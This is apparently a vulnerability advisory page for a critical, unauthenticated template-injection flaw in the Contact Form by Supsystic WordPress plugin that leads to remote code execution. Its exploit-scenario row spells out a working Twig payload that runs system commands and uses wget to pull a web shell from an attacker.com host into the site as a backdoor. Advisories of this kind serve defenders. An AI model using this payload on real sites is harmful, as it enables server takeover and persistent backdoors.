EUVD-2026-17239Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
4DescriptionCVE.org
The Contact Form by Supsystic plugin for WordPress is vulnerable to Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) in all versions up to, and including, 1.7.36. This is due to the plugin using the Twig Twig_Loader_String template engine without sandboxing, combined with the cfsPreFill prefill functionality that allows unauthenticated users to inject arbitrary Twig expressions into form field values via GET parameters. This makes it possible for unauthenticated attackers to execute arbitrary PHP functions and OS commands on the server by leveraging Twig's registerUndefinedFilterCallback() method to register arbitrary PHP callbacks.
AnalysisAI
Remote code execution in Contact Form by Supsystic plugin for WordPress (all versions ≤1.7.36) allows unauthenticated attackers to execute arbitrary PHP functions and OS commands via Server-Side Template Injection. Attackers exploit the plugin's unsandboxed Twig template engine by injecting malicious Twig expressions through GET parameters in the cfsPreFill functionality, leveraging registerUndefinedFilterCallback() to register arbitrary PHP callbacks. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Contact Form by Supsystic WordPress plugin versions up to 1.7.36 must be installed and activated. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This vulnerability presents critical real-world risk requiring immediate prioritization. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An unauthenticated remote attacker identifies a WordPress site running Contact Form by Supsystic version 1.7.36 or earlier through plugin enumeration (wp-content/plugins/contact-form-by-supsystic). The attacker crafts a malicious GET request to the contact form page with a parameter like ?cfsPreFill[field_name]={{_self.env.registerUndefinedFilterCallback('system')|filter|system('wget http://attacker.com/shell.php -O /var/www/html/backdoor.php')}}. … |
| Remediation | Upstream fix available: WordPress plugin repository changeset 3491826 addresses this vulnerability (https://plugins.trac.wordpress.org/changeset/3491826/contact-form-by-supsystic). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all WordPress instances using Contact Form by Supsystic plugin ≤1.7.36 via plugin audit tools or WP-CLI; disable the plugin immediately on all affected sites. …
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